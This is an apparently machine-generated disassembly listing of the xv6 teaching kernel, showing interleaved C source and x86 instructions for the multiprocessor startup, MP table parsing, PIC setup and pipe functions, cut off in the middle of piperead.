80102e30: e8 cb f3 ff ff call 80102200 <ioapicinit> consoleinit(); // console hardware 80102e35: e8 16 db ff ff call 80100950 <consoleinit> uartinit(); // serial port 80102e3a: e8 61 29 00 00 call 801057a0 <uartinit> 80102e3f: 90 nop pinit(); // process table 80102e40: e8 9b 07 00 00 call 801035e0 <pinit> tvinit(); // trap vectors 80102e45: e8 96 25 00 00 call 801053e0 <tvinit> binit(); // buffer cache 80102e4a: e8 f1 d1 ff ff call 80100040 <binit> 80102e4f: 90 nop fileinit(); // file table 80102e50: e8 fb de ff ff call 80100d50 <fileinit> ideinit(); // disk 80102e55: e8 a6 f1 ff ff call 80102000 <ideinit> memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); 80102e5a: c7 44 24 08 8a 00 00 movl $0x8a,0x8(%esp) 80102e61: 00 80102e62: c7 44 24 04 8c a4 10 movl $0x8010a48c,0x4(%esp) 80102e69: 80 80102e6a: c7 04 24 00 70 00 80 movl $0x80007000,(%esp) 80102e71: e8 ca 14 00 00 call 80104340 <memmove> for(c = cpus; c < cpus+ncpu; c++){ 80102e76: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102e7d: 00 00 00 80102e80: 05 80 27 11 80 add $0x80112780,%eax 80102e85: 39 d8 cmp %ebx,%eax 80102e87: 76 6a jbe 80102ef3 <main+0x103> 80102e89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(c == mycpu()) // We've started already. 80102e90: e8 6b 07 00 00 call 80103600 <mycpu> 80102e95: 39 d8 cmp %ebx,%eax 80102e97: 74 41 je 80102eda <main+0xea> continue; // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); 80102e99: e8 02 f6 ff ff call 801024a0 <kalloc> *(void**)(code-4) = stack + KSTACKSIZE; *(void(**)(void))(code-8) = mpenter; 80102e9e: c7 05 f8 6f 00 80 d0 movl $0x80102dd0,0x80006ff8 80102ea5: 2d 10 80 *(int**)(code-12) = (void *) V2P(entrypgdir); 80102ea8: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4 80102eaf: 90 10 00 *(void**)(code-4) = stack + KSTACKSIZE; 80102eb2: 05 00 10 00 00 add $0x1000,%eax 80102eb7: a3 fc 6f 00 80 mov %eax,0x80006ffc lapicstartap(c->apicid, V2P(code)); 80102ebc: 0f b6 03 movzbl (%ebx),%eax 80102ebf: c7 44 24 04 00 70 00 movl $0x7000,0x4(%esp) 80102ec6: 00 80102ec7: 89 04 24 mov %eax,(%esp) 80102eca: e8 e1 f8 ff ff call 801027b0 <lapicstartap> 80102ecf: 90 nop // wait for cpu to finish mpmain() while(c->started == 0) 80102ed0: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax 80102ed6: 85 c0 test %eax,%eax 80102ed8: 74 f6 je 80102ed0 <main+0xe0> for(c = cpus; c < cpus+ncpu; c++){ 80102eda: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102ee1: 00 00 00 80102ee4: 81 c3 b0 00 00 00 add $0xb0,%ebx 80102eea: 05 80 27 11 80 add $0x80112780,%eax 80102eef: 39 c3 cmp %eax,%ebx 80102ef1: 72 9d jb 80102e90 <main+0xa0> kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers() 80102ef3: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp) 80102efa: 8e 80102efb: c7 04 24 00 00 40 80 movl $0x80400000,(%esp) 80102f02: e8 49 f5 ff ff call 80102450 <kinit2> userinit(); // first user process 80102f07: e8 c4 07 00 00 call 801036d0 <userinit> mpmain(); // finish this processor's setup 80102f0c: e8 6f fe ff ff call 80102d80 <mpmain> 80102f11: 66 90 xchg %ax,%ax 80102f13: 66 90 xchg %ax,%ax 80102f15: 66 90 xchg %ax,%ax 80102f17: 66 90 xchg %ax,%ax 80102f19: 66 90 xchg %ax,%ax 80102f1b: 66 90 xchg %ax,%ax 80102f1d: 66 90 xchg %ax,%ax 80102f1f: 90 nop 80102f20 <mpsearch1>: } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102f20: 55 push %ebp 80102f21: 89 e5 mov %esp,%ebp 80102f23: 56 push %esi uchar *e, *p, *addr; addr = P2V(a); 80102f24: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi { 80102f2a: 53 push %ebx e = addr+len; 80102f2b: 8d 1c 16 lea (%esi,%edx,1),%ebx { 80102f2e: 83 ec 10 sub $0x10,%esp for(p = addr; p < e; p += sizeof(struct mp)) 80102f31: 39 de cmp %ebx,%esi 80102f33: 73 3c jae 80102f71 <mpsearch1+0x51> 80102f35: 8d 76 00 lea 0x0(%esi),%esi if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102f38: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 80102f3f: 00 80102f40: c7 44 24 04 d8 70 10 movl $0x801070d8,0x4(%esp) 80102f47: 80 80102f48: 89 34 24 mov %esi,(%esp) 80102f4b: e8 a0 13 00 00 call 801042f0 <memcmp> 80102f50: 85 c0 test %eax,%eax 80102f52: 75 16 jne 80102f6a <mpsearch1+0x4a> 80102f54: 31 c9 xor %ecx,%ecx 80102f56: 31 d2 xor %edx,%edx sum += addr[i]; 80102f58: 0f b6 04 16 movzbl (%esi,%edx,1),%eax for(i=0; i<len; i++) 80102f5c: 83 c2 01 add $0x1,%edx sum += addr[i]; 80102f5f: 01 c1 add %eax,%ecx for(i=0; i<len; i++) 80102f61: 83 fa 10 cmp $0x10,%edx 80102f64: 75 f2 jne 80102f58 <mpsearch1+0x38> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102f66: 84 c9 test %cl,%cl 80102f68: 74 10 je 80102f7a <mpsearch1+0x5a> for(p = addr; p < e; p += sizeof(struct mp)) 80102f6a: 83 c6 10 add $0x10,%esi 80102f6d: 39 f3 cmp %esi,%ebx 80102f6f: 77 c7 ja 80102f38 <mpsearch1+0x18> return (struct mp*)p; return 0; } 80102f71: 83 c4 10 add $0x10,%esp return 0; 80102f74: 31 c0 xor %eax,%eax } 80102f76: 5b pop %ebx 80102f77: 5e pop %esi 80102f78: 5d pop %ebp 80102f79: c3 ret 80102f7a: 83 c4 10 add $0x10,%esp 80102f7d: 89 f0 mov %esi,%eax 80102f7f: 5b pop %ebx 80102f80: 5e pop %esi 80102f81: 5d pop %ebp 80102f82: c3 ret 80102f83: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102f90 <mpinit>: return conf; } void mpinit(void) { 80102f90: 55 push %ebp 80102f91: 89 e5 mov %esp,%ebp 80102f93: 57 push %edi 80102f94: 56 push %esi 80102f95: 53 push %ebx 80102f96: 83 ec 1c sub $0x1c,%esp if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ 80102f99: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax 80102fa0: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx 80102fa7: c1 e0 08 shl $0x8,%eax 80102faa: 09 d0 or %edx,%eax 80102fac: c1 e0 04 shl $0x4,%eax 80102faf: 85 c0 test %eax,%eax 80102fb1: 75 1b jne 80102fce <mpinit+0x3e> p = ((bda[0x14]<<8)|bda[0x13])*1024; 80102fb3: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax 80102fba: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx 80102fc1: c1 e0 08 shl $0x8,%eax 80102fc4: 09 d0 or %edx,%eax 80102fc6: c1 e0 0a shl $0xa,%eax if((mp = mpsearch1(p-1024, 1024))) 80102fc9: 2d 00 04 00 00 sub $0x400,%eax if((mp = mpsearch1(p, 1024))) 80102fce: ba 00 04 00 00 mov $0x400,%edx 80102fd3: e8 48 ff ff ff call 80102f20 <mpsearch1> 80102fd8: 85 c0 test %eax,%eax 80102fda: 89 c7 mov %eax,%edi 80102fdc: 0f 84 22 01 00 00 je 80103104 <mpinit+0x174> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80102fe2: 8b 77 04 mov 0x4(%edi),%esi 80102fe5: 85 f6 test %esi,%esi 80102fe7: 0f 84 30 01 00 00 je 8010311d <mpinit+0x18d> conf = (struct mpconf*) P2V((uint) mp->physaddr); 80102fed: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax if(memcmp(conf, "PCMP", 4) != 0) 80102ff3: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 80102ffa: 00 80102ffb: c7 44 24 04 dd 70 10 movl $0x801070dd,0x4(%esp) 80103002: 80 80103003: 89 04 24 mov %eax,(%esp) conf = (struct mpconf*) P2V((uint) mp->physaddr); 80103006: 89 45 e4 mov %eax,-0x1c(%ebp) if(memcmp(conf, "PCMP", 4) != 0) 80103009: e8 e2 12 00 00 call 801042f0 <memcmp> 8010300e: 85 c0 test %eax,%eax 80103010: 0f 85 07 01 00 00 jne 8010311d <mpinit+0x18d> if(conf->version != 1 && conf->version != 4) 80103016: 0f b6 86 06 00 00 80 movzbl -0x7ffffffa(%esi),%eax 8010301d: 3c 04 cmp $0x4,%al 8010301f: 0f 85 0b 01 00 00 jne 80103130 <mpinit+0x1a0> if(sum((uchar*)conf, conf->length) != 0) 80103025: 0f b7 86 04 00 00 80 movzwl -0x7ffffffc(%esi),%eax for(i=0; i<len; i++) 8010302c: 85 c0 test %eax,%eax 8010302e: 74 21 je 80103051 <mpinit+0xc1> sum = 0; 80103030: 31 c9 xor %ecx,%ecx for(i=0; i<len; i++) 80103032: 31 d2 xor %edx,%edx 80103034: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi sum += addr[i]; 80103038: 0f b6 9c 16 00 00 00 movzbl -0x80000000(%esi,%edx,1),%ebx 8010303f: 80 for(i=0; i<len; i++) 80103040: 83 c2 01 add $0x1,%edx sum += addr[i]; 80103043: 01 d9 add %ebx,%ecx for(i=0; i<len; i++) 80103045: 39 d0 cmp %edx,%eax 80103047: 7f ef jg 80103038 <mpinit+0xa8> if(sum((uchar*)conf, conf->length) != 0) 80103049: 84 c9 test %cl,%cl 8010304b: 0f 85 cc 00 00 00 jne 8010311d <mpinit+0x18d> struct mp *mp; struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) 80103051: 8b 45 e4 mov -0x1c(%ebp),%eax 80103054: 85 c0 test %eax,%eax 80103056: 0f 84 c1 00 00 00 je 8010311d <mpinit+0x18d> panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; 8010305c: 8b 86 24 00 00 80 mov -0x7fffffdc(%esi),%eax ismp = 1; 80103062: bb 01 00 00 00 mov $0x1,%ebx lapic = (uint*)conf->lapicaddr; 80103067: a3 7c 26 11 80 mov %eax,0x8011267c for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010306c: 0f b7 96 04 00 00 80 movzwl -0x7ffffffc(%esi),%edx 80103073: 8d 86 2c 00 00 80 lea -0x7fffffd4(%esi),%eax 80103079: 03 55 e4 add -0x1c(%ebp),%edx 8010307c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103080: 39 c2 cmp %eax,%edx 80103082: 76 1b jbe 8010309f <mpinit+0x10f> 80103084: 0f b6 08 movzbl (%eax),%ecx switch(*p){ 80103087: 80 f9 04 cmp $0x4,%cl 8010308a: 77 74 ja 80103100 <mpinit+0x170> 8010308c: ff 24 8d 1c 71 10 80 jmp *-0x7fef8ee4(,%ecx,4) 80103093: 90 nop 80103094: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p += sizeof(struct mpioapic); continue; case MPBUS: case MPIOINTR: case MPLINTR: p += 8; 80103098: 83 c0 08 add $0x8,%eax for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010309b: 39 c2 cmp %eax,%edx 8010309d: 77 e5 ja 80103084 <mpinit+0xf4> default: ismp = 0; break; } } if(!ismp) 8010309f: 85 db test %ebx,%ebx 801030a1: 0f 84 93 00 00 00 je 8010313a <mpinit+0x1aa> panic("Didn't find a suitable machine"); if(mp->imcrp){ 801030a7: 80 7f 0c 00 cmpb $0x0,0xc(%edi) 801030ab: 74 12 je 801030bf <mpinit+0x12f> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801030ad: ba 22 00 00 00 mov $0x22,%edx 801030b2: b8 70 00 00 00 mov $0x70,%eax 801030b7: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801030b8: b2 23 mov $0x23,%dl 801030ba: ec in (%dx),%al // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR outb(0x23, inb(0x23) | 1); // Mask external interrupts. 801030bb: 83 c8 01 or $0x1,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801030be: ee out %al,(%dx) } } 801030bf: 83 c4 1c add $0x1c,%esp 801030c2: 5b pop %ebx 801030c3: 5e pop %esi 801030c4: 5f pop %edi 801030c5: 5d pop %ebp 801030c6: c3 ret 801030c7: 90 nop if(ncpu < NCPU) { 801030c8: 8b 35 00 2d 11 80 mov 0x80112d00,%esi 801030ce: 83 fe 07 cmp $0x7,%esi 801030d1: 7f 17 jg 801030ea <mpinit+0x15a> cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 801030d3: 0f b6 48 01 movzbl 0x1(%eax),%ecx 801030d7: 69 f6 b0 00 00 00 imul $0xb0,%esi,%esi ncpu++; 801030dd: 83 05 00 2d 11 80 01 addl $0x1,0x80112d00 cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 801030e4: 88 8e 80 27 11 80 mov %cl,-0x7feed880(%esi) p += sizeof(struct mpproc); 801030ea: 83 c0 14 add $0x14,%eax continue; 801030ed: eb 91 jmp 80103080 <mpinit+0xf0> 801030ef: 90 nop ioapicid = ioapic->apicno; 801030f0: 0f b6 48 01 movzbl 0x1(%eax),%ecx p += sizeof(struct mpioapic); 801030f4: 83 c0 08 add $0x8,%eax ioapicid = ioapic->apicno; 801030f7: 88 0d 60 27 11 80 mov %cl,0x80112760 continue; 801030fd: eb 81 jmp 80103080 <mpinit+0xf0> 801030ff: 90 nop ismp = 0; 80103100: 31 db xor %ebx,%ebx 80103102: eb 83 jmp 80103087 <mpinit+0xf7> return mpsearch1(0xF0000, 0x10000); 80103104: ba 00 00 01 00 mov $0x10000,%edx 80103109: b8 00 00 0f 00 mov $0xf0000,%eax 8010310e: e8 0d fe ff ff call 80102f20 <mpsearch1> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103113: 85 c0 test %eax,%eax return mpsearch1(0xF0000, 0x10000); 80103115: 89 c7 mov %eax,%edi if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103117: 0f 85 c5 fe ff ff jne 80102fe2 <mpinit+0x52> panic("Expect to run on an SMP"); 8010311d: c7 04 24 e2 70 10 80 movl $0x801070e2,(%esp) 80103124: e8 37 d2 ff ff call 80100360 <panic> 80103129: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(conf->version != 1 && conf->version != 4) 80103130: 3c 01 cmp $0x1,%al 80103132: 0f 84 ed fe ff ff je 80103025 <mpinit+0x95> 80103138: eb e3 jmp 8010311d <mpinit+0x18d> panic("Didn't find a suitable machine"); 8010313a: c7 04 24 fc 70 10 80 movl $0x801070fc,(%esp) 80103141: e8 1a d2 ff ff call 80100360 <panic> 80103146: 66 90 xchg %ax,%ax 80103148: 66 90 xchg %ax,%ax 8010314a: 66 90 xchg %ax,%ax 8010314c: 66 90 xchg %ax,%ax 8010314e: 66 90 xchg %ax,%ax 80103150 <picinit>: #define IO_PIC2 0xA0 // Slave (IRQs 8-15) // Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware. void picinit(void) { 80103150: 55 push %ebp 80103151: ba 21 00 00 00 mov $0x21,%edx 80103156: 89 e5 mov %esp,%ebp 80103158: b8 ff ff ff ff mov $0xffffffff,%eax 8010315d: ee out %al,(%dx) 8010315e: b2 a1 mov $0xa1,%dl 80103160: ee out %al,(%dx) // mask all interrupts outb(IO_PIC1+1, 0xFF); outb(IO_PIC2+1, 0xFF); } 80103161: 5d pop %ebp 80103162: c3 ret 80103163: 66 90 xchg %ax,%ax 80103165: 66 90 xchg %ax,%ax 80103167: 66 90 xchg %ax,%ax 80103169: 66 90 xchg %ax,%ax 8010316b: 66 90 xchg %ax,%ax 8010316d: 66 90 xchg %ax,%ax 8010316f: 90 nop 80103170 <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 80103170: 55 push %ebp 80103171: 89 e5 mov %esp,%ebp 80103173: 57 push %edi 80103174: 56 push %esi 80103175: 53 push %ebx 80103176: 83 ec 1c sub $0x1c,%esp 80103179: 8b 75 08 mov 0x8(%ebp),%esi 8010317c: 8b 5d 0c mov 0xc(%ebp),%ebx struct pipe *p; p = 0; *f0 = *f1 = 0; 8010317f: c7 03 00 00 00 00 movl $0x0,(%ebx) 80103185: c7 06 00 00 00 00 movl $0x0,(%esi) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 8010318b: e8 e0 db ff ff call 80100d70 <filealloc> 80103190: 85 c0 test %eax,%eax 80103192: 89 06 mov %eax,(%esi) 80103194: 0f 84 a4 00 00 00 je 8010323e <pipealloc+0xce> 8010319a: e8 d1 db ff ff call 80100d70 <filealloc> 8010319f: 85 c0 test %eax,%eax 801031a1: 89 03 mov %eax,(%ebx) 801031a3: 0f 84 87 00 00 00 je 80103230 <pipealloc+0xc0> goto bad; if((p = (struct pipe*)kalloc()) == 0) 801031a9: e8 f2 f2 ff ff call 801024a0 <kalloc> 801031ae: 85 c0 test %eax,%eax 801031b0: 89 c7 mov %eax,%edi 801031b2: 74 7c je 80103230 <pipealloc+0xc0> goto bad; p->readopen = 1; 801031b4: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax) 801031bb: 00 00 00 p->writeopen = 1; 801031be: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax) 801031c5: 00 00 00 p->nwrite = 0; 801031c8: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax) 801031cf: 00 00 00 p->nread = 0; 801031d2: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax) 801031d9: 00 00 00 initlock(&p->lock, "pipe"); 801031dc: 89 04 24 mov %eax,(%esp) 801031df: c7 44 24 04 30 71 10 movl $0x80107130,0x4(%esp) 801031e6: 80 801031e7: e8 84 0e 00 00 call 80104070 <initlock> (*f0)->type = FD_PIPE; 801031ec: 8b 06 mov (%esi),%eax 801031ee: c7 00 01 00 00 00 movl $0x1,(%eax) (*f0)->readable = 1; 801031f4: 8b 06 mov (%esi),%eax 801031f6: c6 40 08 01 movb $0x1,0x8(%eax) (*f0)->writable = 0; 801031fa: 8b 06 mov (%esi),%eax 801031fc: c6 40 09 00 movb $0x0,0x9(%eax) (*f0)->pipe = p; 80103200: 8b 06 mov (%esi),%eax 80103202: 89 78 0c mov %edi,0xc(%eax) (*f1)->type = FD_PIPE; 80103205: 8b 03 mov (%ebx),%eax 80103207: c7 00 01 00 00 00 movl $0x1,(%eax) (*f1)->readable = 0; 8010320d: 8b 03 mov (%ebx),%eax 8010320f: c6 40 08 00 movb $0x0,0x8(%eax) (*f1)->writable = 1; 80103213: 8b 03 mov (%ebx),%eax 80103215: c6 40 09 01 movb $0x1,0x9(%eax) (*f1)->pipe = p; 80103219: 8b 03 mov (%ebx),%eax return 0; 8010321b: 31 db xor %ebx,%ebx (*f1)->pipe = p; 8010321d: 89 78 0c mov %edi,0xc(%eax) if(*f0) fileclose(*f0); if(*f1) fileclose(*f1); return -1; } 80103220: 83 c4 1c add $0x1c,%esp 80103223: 89 d8 mov %ebx,%eax 80103225: 5b pop %ebx 80103226: 5e pop %esi 80103227: 5f pop %edi 80103228: 5d pop %ebp 80103229: c3 ret 8010322a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(*f0) 80103230: 8b 06 mov (%esi),%eax 80103232: 85 c0 test %eax,%eax 80103234: 74 08 je 8010323e <pipealloc+0xce> fileclose(*f0); 80103236: 89 04 24 mov %eax,(%esp) 80103239: e8 f2 db ff ff call 80100e30 <fileclose> if(*f1) 8010323e: 8b 03 mov (%ebx),%eax return -1; 80103240: bb ff ff ff ff mov $0xffffffff,%ebx if(*f1) 80103245: 85 c0 test %eax,%eax 80103247: 74 d7 je 80103220 <pipealloc+0xb0> fileclose(*f1); 80103249: 89 04 24 mov %eax,(%esp) 8010324c: e8 df db ff ff call 80100e30 <fileclose> } 80103251: 83 c4 1c add $0x1c,%esp 80103254: 89 d8 mov %ebx,%eax 80103256: 5b pop %ebx 80103257: 5e pop %esi 80103258: 5f pop %edi 80103259: 5d pop %ebp 8010325a: c3 ret 8010325b: 90 nop 8010325c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103260 <pipeclose>: void pipeclose(struct pipe *p, int writable) { 80103260: 55 push %ebp 80103261: 89 e5 mov %esp,%ebp 80103263: 56 push %esi 80103264: 53 push %ebx 80103265: 83 ec 10 sub $0x10,%esp 80103268: 8b 5d 08 mov 0x8(%ebp),%ebx 8010326b: 8b 75 0c mov 0xc(%ebp),%esi acquire(&p->lock); 8010326e: 89 1c 24 mov %ebx,(%esp) 80103271: e8 6a 0f 00 00 call 801041e0 <acquire> if(writable){ 80103276: 85 f6 test %esi,%esi 80103278: 74 3e je 801032b8 <pipeclose+0x58> p->writeopen = 0; wakeup(&p->nread); 8010327a: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax p->writeopen = 0; 80103280: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx) 80103287: 00 00 00 wakeup(&p->nread); 8010328a: 89 04 24 mov %eax,(%esp) 8010328d: e8 fe 0a 00 00 call 80103d90 <wakeup> } else { p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ 80103292: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 80103298: 85 d2 test %edx,%edx 8010329a: 75 0a jne 801032a6 <pipeclose+0x46> 8010329c: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax 801032a2: 85 c0 test %eax,%eax 801032a4: 74 32 je 801032d8 <pipeclose+0x78> release(&p->lock); kfree((char*)p); } else release(&p->lock); 801032a6: 89 5d 08 mov %ebx,0x8(%ebp) } 801032a9: 83 c4 10 add $0x10,%esp 801032ac: 5b pop %ebx 801032ad: 5e pop %esi 801032ae: 5d pop %ebp release(&p->lock); 801032af: e9 9c 0f 00 00 jmp 80104250 <release> 801032b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi wakeup(&p->nwrite); 801032b8: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax p->readopen = 0; 801032be: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx) 801032c5: 00 00 00 wakeup(&p->nwrite); 801032c8: 89 04 24 mov %eax,(%esp) 801032cb: e8 c0 0a 00 00 call 80103d90 <wakeup> 801032d0: eb c0 jmp 80103292 <pipeclose+0x32> 801032d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi release(&p->lock); 801032d8: 89 1c 24 mov %ebx,(%esp) 801032db: e8 70 0f 00 00 call 80104250 <release> kfree((char*)p); 801032e0: 89 5d 08 mov %ebx,0x8(%ebp) } 801032e3: 83 c4 10 add $0x10,%esp 801032e6: 5b pop %ebx 801032e7: 5e pop %esi 801032e8: 5d pop %ebp kfree((char*)p); 801032e9: e9 02 f0 ff ff jmp 801022f0 <kfree> 801032ee: 66 90 xchg %ax,%ax 801032f0 <pipewrite>: //PAGEBREAK: 40 int pipewrite(struct pipe *p, char *addr, int n) { 801032f0: 55 push %ebp 801032f1: 89 e5 mov %esp,%ebp 801032f3: 57 push %edi 801032f4: 56 push %esi 801032f5: 53 push %ebx 801032f6: 83 ec 1c sub $0x1c,%esp 801032f9: 8b 5d 08 mov 0x8(%ebp),%ebx int i; acquire(&p->lock); 801032fc: 89 1c 24 mov %ebx,(%esp) 801032ff: e8 dc 0e 00 00 call 801041e0 <acquire> for(i = 0; i < n; i++){ 80103304: 8b 4d 10 mov 0x10(%ebp),%ecx 80103307: 85 c9 test %ecx,%ecx 80103309: 0f 8e b2 00 00 00 jle 801033c1 <pipewrite+0xd1> 8010330f: 8b 4d 0c mov 0xc(%ebp),%ecx while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full if(p->readopen == 0 || myproc()->killed){ release(&p->lock); return -1; } wakeup(&p->nread); 80103312: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi 80103318: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 8010331e: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi 80103324: 89 4d e4 mov %ecx,-0x1c(%ebp) 80103327: 03 4d 10 add 0x10(%ebp),%ecx 8010332a: 89 4d e0 mov %ecx,-0x20(%ebp) while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 8010332d: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx 80103333: 81 c1 00 02 00 00 add $0x200,%ecx 80103339: 39 c8 cmp %ecx,%eax 8010333b: 74 38 je 80103375 <pipewrite+0x85> 8010333d: eb 55 jmp 80103394 <pipewrite+0xa4> 8010333f: 90 nop if(p->readopen == 0 || myproc()->killed){ 80103340: e8 5b 03 00 00 call 801036a0 <myproc> 80103345: 8b 40 24 mov 0x24(%eax),%eax 80103348: 85 c0 test %eax,%eax 8010334a: 75 33 jne 8010337f <pipewrite+0x8f> wakeup(&p->nread); 8010334c: 89 3c 24 mov %edi,(%esp) 8010334f: e8 3c 0a 00 00 call 80103d90 <wakeup> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 80103354: 89 5c 24 04 mov %ebx,0x4(%esp) 80103358: 89 34 24 mov %esi,(%esp) 8010335b: e8 a0 08 00 00 call 80103c00 <sleep> while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103360: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 80103366: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx 8010336c: 05 00 02 00 00 add $0x200,%eax 80103371: 39 c2 cmp %eax,%edx 80103373: 75 23 jne 80103398 <pipewrite+0xa8> if(p->readopen == 0 || myproc()->killed){ 80103375: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 8010337b: 85 d2 test %edx,%edx 8010337d: 75 c1 jne 80103340 <pipewrite+0x50> release(&p->lock); 8010337f: 89 1c 24 mov %ebx,(%esp) 80103382: e8 c9 0e 00 00 call 80104250 <release> return -1; 80103387: b8 ff ff ff ff mov $0xffffffff,%eax p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 release(&p->lock); return n; } 8010338c: 83 c4 1c add $0x1c,%esp 8010338f: 5b pop %ebx 80103390: 5e pop %esi 80103391: 5f pop %edi 80103392: 5d pop %ebp 80103393: c3 ret while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103394: 89 c2 mov %eax,%edx 80103396: 66 90 xchg %ax,%ax p->data[p->nwrite++ % PIPESIZE] = addr[i]; 80103398: 8b 4d e4 mov -0x1c(%ebp),%ecx 8010339b: 8d 42 01 lea 0x1(%edx),%eax 8010339e: 81 e2 ff 01 00 00 and $0x1ff,%edx 801033a4: 89 83 38 02 00 00 mov %eax,0x238(%ebx) 801033aa: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 801033ae: 0f b6 09 movzbl (%ecx),%ecx 801033b1: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1) for(i = 0; i < n; i++){ 801033b5: 8b 4d e4 mov -0x1c(%ebp),%ecx 801033b8: 3b 4d e0 cmp -0x20(%ebp),%ecx 801033bb: 0f 85 6c ff ff ff jne 8010332d <pipewrite+0x3d> wakeup(&p->nread); //DOC: pipewrite-wakeup1 801033c1: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 801033c7: 89 04 24 mov %eax,(%esp) 801033ca: e8 c1 09 00 00 call 80103d90 <wakeup> release(&p->lock); 801033cf: 89 1c 24 mov %ebx,(%esp) 801033d2: e8 79 0e 00 00 call 80104250 <release> return n; 801033d7: 8b 45 10 mov 0x10(%ebp),%eax 801033da: eb b0 jmp 8010338c <pipewrite+0x9c> 801033dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801033e0 <piperead>: int piperead(struct pipe *p, char *addr, int n) { 801033e0: 55 push %ebp 801033e1: 89 e5 mov %esp,%ebp 801033e3: 57 push %edi 801033e4: 56 push %esi 801033e5: 53 push %ebx 801033e6: 83 ec 1c sub $0x1c,%esp 801033e9: 8b 75 08 mov 0x8(%ebp),%esi 801033ec: 8b 7d 0c mov 0xc(%ebp),%edi int i; acquire(&p->lock); 801033ef: 89 34 24 mov %esi,(%esp) 801033f2: e8 e9 0d 00 00 call 801041e0 <acquire> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 801033f7: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 801033fd: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 80103403: 75 5b jne 80103460 <piperead+0x80> 80103405: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx 8010340b: 85 db test %ebx,%ebx 8010340d: 74 51 je 80103460 <piperead+0x80> if(myproc()->killed){ release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep 8010340f: 8d 9e 34 02 